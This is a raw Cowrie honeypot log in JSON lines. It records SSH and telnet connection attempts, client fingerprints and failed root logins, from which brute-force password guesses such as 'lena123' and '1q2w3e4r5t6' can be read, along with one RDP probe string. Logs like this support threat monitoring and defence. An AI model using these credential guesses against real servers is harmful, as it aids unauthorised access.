{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38642,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f8929ced01","protocol":"ssh","message":"New connection: 103.77.175.15:38642 (10.17.0.5:22) [session: 50f8929ced01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:00.788956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:00.794770Z","src_ip":"103.77.175.15","session":"50f8929ced01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:01.044933Z","src_ip":"103.77.175.15","session":"50f8929ced01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena123","message":"login attempt [root/lena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:01.421242Z","src_ip":"193.37.70.224","session":"23004f254d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6","message":"login attempt [root/1q2w3e4r5t6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:01.791677Z","src_ip":"103.77.175.15","session":"50f8929ced01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":55236,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5e21bf9a61","protocol":"ssh","message":"New connection: 38.93.206.2:55236 (159.203.135.109:22) [session: ec5e21bf9a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:02.297513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:02.310420Z","src_ip":"38.93.206.2","session":"ec5e21bf9a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:02.363585Z","src_ip":"38.93.206.2","session":"ec5e21bf9a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369258","message":"login attempt [root/369258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:02.534160Z","src_ip":"38.93.206.2","session":"ec5e21bf9a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:02.733230Z","src_ip":"193.37.70.224","session":"23004f254d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:03.044443Z","src_ip":"103.77.175.15","session":"50f8929ced01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:03.588401Z","src_ip":"38.93.206.2","session":"ec5e21bf9a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"4516b07013f6","protocol":"telnet","message":"New connection: 152.42.224.71:55844 (10.17.0.5:23) [session: 4516b07013f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:08.463013Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":40706,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b68d510ef39","protocol":"ssh","message":"New connection: 43.153.69.201:40706 (10.17.0.5:22) [session: 1b68d510ef39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:09.862954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:09.868729Z","src_ip":"43.153.69.201","session":"1b68d510ef39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:09.938170Z","src_ip":"43.153.69.201","session":"1b68d510ef39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:10.242825Z","src_ip":"43.153.69.201","session":"1b68d510ef39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:11.314272Z","src_ip":"43.153.69.201","session":"1b68d510ef39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":44946,"dst_ip":"10.17.0.5","dst_port":22,"session":"89d1cb0e3ec3","protocol":"ssh","message":"New connection: 170.106.119.118:44946 (10.17.0.5:22) [session: 89d1cb0e3ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:15.103052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:15.109607Z","src_ip":"170.106.119.118","session":"89d1cb0e3ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:15.183220Z","src_ip":"170.106.119.118","session":"89d1cb0e3ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"potato123","message":"login attempt [root/potato123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:15.492445Z","src_ip":"170.106.119.118","session":"89d1cb0e3ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:16.565924Z","src_ip":"170.106.119.118","session":"89d1cb0e3ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"023d6a6dd0bd","protocol":"telnet","message":"New connection: 152.42.224.71:58706 (10.17.0.5:23) [session: 023d6a6dd0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:17.947462Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"471451be0a47","protocol":"telnet","message":"New connection: 152.42.224.71:58710 (10.17.0.5:23) [session: 471451be0a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:18.954982Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"26917a195df3","protocol":"telnet","message":"New connection: 152.42.224.71:58726 (10.17.0.5:23) [session: 26917a195df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:20.461167Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"7050a859612a","protocol":"ssh","message":"New connection: 43.159.169.93:58920 (159.203.135.109:22) [session: 7050a859612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:21.030375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:21.045962Z","src_ip":"43.159.169.93","session":"7050a859612a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:21.115113Z","src_ip":"43.159.169.93","session":"7050a859612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo123","message":"login attempt [root/hallo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:21.418238Z","src_ip":"43.159.169.93","session":"7050a859612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:22.490180Z","src_ip":"43.159.169.93","session":"7050a859612a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58736,"dst_ip":"10.17.0.5","dst_port":23,"session":"0208f928606f","protocol":"telnet","message":"New connection: 152.42.224.71:58736 (10.17.0.5:23) [session: 0208f928606f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:23.578473Z"}
{"eventid":"cowrie.session.closed","duration":109.64309787750244,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:23.586181Z","src_ip":"152.42.224.71","session":"ad13b0e2c6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58740,"dst_ip":"10.17.0.5","dst_port":23,"session":"eebb748d69a1","protocol":"telnet","message":"New connection: 152.42.224.71:58740 (10.17.0.5:23) [session: eebb748d69a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:24.363308Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43406,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c60bd4ba8e9","protocol":"ssh","message":"New connection: 62.133.62.83:43406 (10.17.0.5:22) [session: 7c60bd4ba8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:27.107298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:27.112107Z","src_ip":"62.133.62.83","session":"7c60bd4ba8e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:27.190869Z","src_ip":"62.133.62.83","session":"7c60bd4ba8e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19771977","message":"login attempt [root/19771977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:27.433902Z","src_ip":"62.133.62.83","session":"7c60bd4ba8e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:28.607049Z","src_ip":"62.133.62.83","session":"7c60bd4ba8e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53046,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e0a92a3b44f","protocol":"ssh","message":"New connection: 167.172.81.52:53046 (159.203.135.109:22) [session: 3e0a92a3b44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:29.086717Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:29.091262Z","src_ip":"167.172.81.52","session":"3e0a92a3b44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:29.094878Z","src_ip":"167.172.81.52","session":"3e0a92a3b44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.563984394073486,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:30.393742Z","src_ip":"152.42.224.71","session":"dbb7519b0dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.105867862701416,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:33.053194Z","src_ip":"152.42.224.71","session":"023d6a6dd0bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55632,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2dd496e6403","protocol":"telnet","message":"New connection: 152.42.224.71:55632 (10.17.0.5:23) [session: c2dd496e6403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:37.342459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55636,"dst_ip":"10.17.0.5","dst_port":23,"session":"c114feb467f6","protocol":"telnet","message":"New connection: 152.42.224.71:55636 (10.17.0.5:23) [session: c114feb467f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:37.552129Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":48016,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2fe865b1188","protocol":"ssh","message":"New connection: 43.153.22.143:48016 (10.17.0.5:22) [session: a2fe865b1188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:37.859283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:37.864062Z","src_ip":"43.153.22.143","session":"a2fe865b1188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:37.935931Z","src_ip":"43.153.22.143","session":"a2fe865b1188","protocol":"ssh"}
